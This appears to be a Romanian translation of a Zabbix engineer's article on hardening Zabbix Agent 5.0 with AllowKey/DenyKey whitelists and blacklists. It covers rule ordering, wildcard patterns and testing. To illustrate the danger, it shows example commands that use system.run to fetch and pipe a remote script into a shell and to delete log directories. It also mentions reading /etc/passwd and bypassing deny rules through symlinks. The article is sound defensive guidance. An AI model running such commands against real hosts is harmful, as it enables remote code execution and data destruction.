
Suport pentru liste negre și albe pentru metrici pe partea agentului
Tihon Uskov, Inginer de integrare, Zabbix
Probleme de securitate a datelor
În Zabbix 5.0 a apărut o nouă funcție care permite îmbunătățirea securității în sistemele ce utilizează Zabbix Agent și înlocuiește vechiul parametru EnableRemoteCommands.
Îmbunătățirea securității sistemelor cu agenți se datorează faptului că agenții pot executa un număr mare de acțiuni potențial periculoase.
- Agentul poate colecta practic orice informație, inclusiv confidențială sau potențial periculoasă, din fișierele de configurare, fișierele de jurnal, fișierele cu parole sau orice alte fișiere.
De exemplu, cu ajutorul utilitarului zabbix_get se poate accesa lista utilizatorilor, directoarele acestora acasă, fișierele cu parole etc.

Acces la date cu ajutorul utilitarului zabbix_get
NOTĂ. Datele pot fi obținute doar dacă agentul are permisiunile necesare pentru a citi fișierul respectiv. Însă, de exemplu, fișierul /etc/passwd/ este disponibil pentru citire tuturor utilizatorilor.
- Agentul poate executa, de asemenea, comenzi potențial periculoase. De exemplu, cheia *system.run[]** permite executarea oricăror comenzi la distanță pe nodurile rețelei, inclusiv rularea din interfața web Zabbix a scripturilor care, de asemenea, execută comenzi pe partea agentului.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- În Linux, agentul se pornește în mod implicit fără privilegii root, iar în Windows se rulează ca un serviciu sub numele System și are acces nelimitat la sistemul de fișiere. Prin urmare, dacă după instalare parametrii Zabbix Agent nu sunt modificați, agentul are acces la registru, sistemul de fișiere și poate executa solicitări WMI.
În versiunile anterioare, parametrul EnableRemoteCommands=0 permitea doar dezactivarea metricilor cu cheia *system.run[]** și executarea scripturilor din interfața web, însă nu era posibil să se restricționeze accesul la fișiere individuale, să se permită sau să se interzică anumite chei care erau setate împreună cu agentul, sau să se limiteze utilizarea unor parametrii specifici.

Utilizarea parametrului EnableRemoteCommand în versiunile anterioare Zabbix
AllowKey/DenyKey
Zabbix 5.0 ajută la protejarea împotriva acestui acces neautorizat prin listele albe și negre pentru permisii și interdicții asupra metricilor pe partea agentului.
În Zabbix 5.0 toate cheile, inclusiv *system.run[]**, sunt permise, și au fost adăugate două noi parametrii de configurare pentru agent:
AllowKey= — verificări permise;
DenyKey= — verificări interzise;
unde — un model de nume al cheii cu parametrii, în care se folosesc metafirele (*).
Cheile AllowKey și DenyKey permit autorizarea sau interzicerea anumitor metrici conform unui anumit model. Spre deosebire de alți parametri de configurare, numărul parametrilor AllowKey/DenyKey nu este limitat. Acest lucru permite definirea clară a ceea ce agenția poate face în sistem prin crearea unui arbore de verificări — chei executate, unde ordinea în care sunt scrise joacă un rol foarte important.
Secvența regulilor
Regulile sunt verificate în ordinea în care au fost incluse în fișierul de configurare. Verificarea cheii conform regulilor se face până la prima potrivire, iar de îndată ce cheia elementului de date se potrivește cu modelul, aceasta este autorizată sau interzisă. După aceasta, verificarea regulilor se oprește, iar celelalte chei sunt ignorate.
Prin urmare, dacă un element se conformează atât unei reguli de autorizare, cât și uneia de interzicere, rezultatul va depinde de regula care apare prima în fișierul de configurare.

2 reguli diferite cu același model și cheie vfs.file.size[/tmp/file]
Ordinea utilizării cheilor AllowKey/DenyKey:
- reguli precise,
- reguli generale,
- regulă de interzicere.
De exemplu, dacă aveți nevoie de acces la fișierele dintr-un anumit director, trebuie mai întâi să autorizați accesul la ele, după care să interziceți tot ce nu se încadrează în permisiunile stabilite. Dacă în prima etapă se folosește o regulă de interzicere, accesul la director va fi interzis.

Secvență corectă
Dacă trebuie să permiteți executarea a 2 utilitare prin *system.run[]**, iar în prima etapă se va indica o regulă de interzicere, utilitarele nu vor fi executate, deoarece primul model se va conforma întotdeauna oricărei chei, iar regulile ulterioare vor fi ignorate.

Secvență incorectă
Modele
Reguli de bază
Modelul — o expresie cu caractere de înlocuire (wildcard). Metasymbolul (*) corespunde oricărei cantități de simboluri în orice poziție. Metasymbolurile pot fi folosite atât în numele cheii, cât și în parametri. De exemplu, primul parametru poate fi specificat strict prin text, iar cel ulterior poate fi specificat ca wildcard.
Parametrii trebuie să fie încadrați în paranteze drepte [].
system.run[*— incorectvfs.file*.txt]— incorectvfs.file.*[*]— corect
Exemple de utilizare a wildcard.
- În numele cheii și în parametru. În acest caz, cheia nu corespunde unei chei asemănătoare care nu conține parametru, deoarece în model am specificat că dorim să obținem un anumit sfârșit al numelui cheii și un anumit set de parametri.
- Dacă în model nu sunt folosite paranteze pătrate, modelul permite toate cheile care nu conțin parametri și interzice toate cheile cu parametrul specificat.
- Dacă cheia este scrisă complet, iar parametrii sunt indicați ca wildcard, aceasta va corespunde oricărei chei asemănătoare cu orice parametru și nu va corespunde unei chei fără paranteze pătrate, adică va fi permisă sau interzisă.

Reguli de completare a parametrilor.
- Dacă se presupune că vor fi utilizate chei cu parametri, parametrii trebuie să fie specificați în fișierul de configurare. Parametrii trebuie să fie indicați ca metacaracter. Este necesar să se interzică cu atenție accesul la orice fișier și să se țină cont de ce informație poate returna metrica în funcție de diferitele variante de scriere - cu parametrii și fără.

Particularități în scrierea cheilor cu parametri.
- Dacă cheia este specificată cu parametrii, dar parametrii sunt opționali și indicați ca metacaracter, cheia fără parametri va fi permisă. De exemplu, dacă doriți să interziceți obținerea informațiilor despre încărcarea CPU-ului și specificați că cheia system.cpu.load[*] trebuie interzisă, nu uitați că cheia fără parametri va returna valoarea medie a încărcării.

Reguli de completare a parametrilor.
Note
Configurare
- Unele reguli nu pot fi modificate de utilizator, de exemplu, regulile de descoperire (discovery) sau autoînregistrare a agenților. Regulile AllowKey/DenyKey nu afectează următorii parametri:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
NOTĂ. Dacă administratorul interzice vreo cheie, la solicitarea Zabbix nu se furnizează informații despre motivul pentru care metrica sau cheia intră în categoria ‘NOTSUPPORTED‘. În fișierele de log ale agentului informațiile despre interdicțiile de execuție a comenzilor la distanță nu sunt de asemenea afișate. Acest lucru este realizat din motive de securitate, dar poate complica depanarea dacă metricile intră în categoria nesuportată din diverse motive..
- Nu ar trebui să te aștepți la o anumită ordine a conectării fișierelor externe de configurare (de exemplu, în ordine alfabetică).
Utilitare de linie de comandă
După configurarea regulilor, trebuie să te asiguri că totul este setat corect.
Poți utiliza una dintre cele trei opțiuni:
- Adaugă metrici în Zabbix.
- Testează folosind zabbix_agentd. Agentul Zabbix cu opțiunea -print (-p) arătă toate cheile (care sunt permise implicit), cu excepția celor care nu sunt permise de configurație. Iar cu opțiunea -test (-t) pentru o cheie interzisă va returna ‘Unsupported item key‘.
- Testează folosind zabbix_get. Utilitară zabbix_get cu opțiunea -k va returna ‘ZBX_NOTSUPPORTED: Unknown metric‘.
Permite sau interzice
Poți interzice accesul la fișier și te poți asigura, de exemplu, folosind utilitarul zabbix_get, că accesul la fișier este interzis.

**
NOTĂ. Ghilimelele din parametru sunt ignorate..
În același timp, accesul la un astfel de fișier poate fi permis pe o altă cale. De exemplu, dacă este direcționat printr-un link simbolic.

Se recomandă să testezi diferitele opțiuni de aplicare a regulilor stabilite și să iei în considerare posibilitățile de a ocoli interdicțiile.
Întrebări și răspunsuri
Întrebare. De ce a fost aleasă o schemă de tipar atât de complexă pentru descrierea regulilor, permisiunilor și interdicțiilor? De ce nu a fost posibil să folosești, de exemplu, expresii regulate, așa cum folosește Zabbix?
Răspuns. Este o întrebare de performanță a regex-ului, deoarece agentul, în general, este unul singur și verifică o cantitate uriașă de metrici. Regex-ul este o operație destul de greoaie și nu putem verifica mii de metrici în acest mod. Wildcards sunt o soluție universală, larg utilizată și simplă..
Întrebare. Nu se includ fișierele Include în ordine alfabetică?
Răspuns. Din câte știu, este practic imposibil să prezici secvența de aplicare a regulilor, dacă dispersezi regulile în diferite fișiere. Îți recomand să aduni toate regulile AllowKey/DenyKey într-un singur fișier Include, deoarece interacționează între ele, și să încarci acest fișier..
Întrebare. În Zabbix 5.0, opțiunea ‘EnableRemoteCommands=‘ nu există în fișierul de configurație, iar doar AllowKey/DenyKey sunt disponibile?
Răspuns. Da, totul este corect..
Vă mulțumesc pentru atenție!
Sursa: habr.com
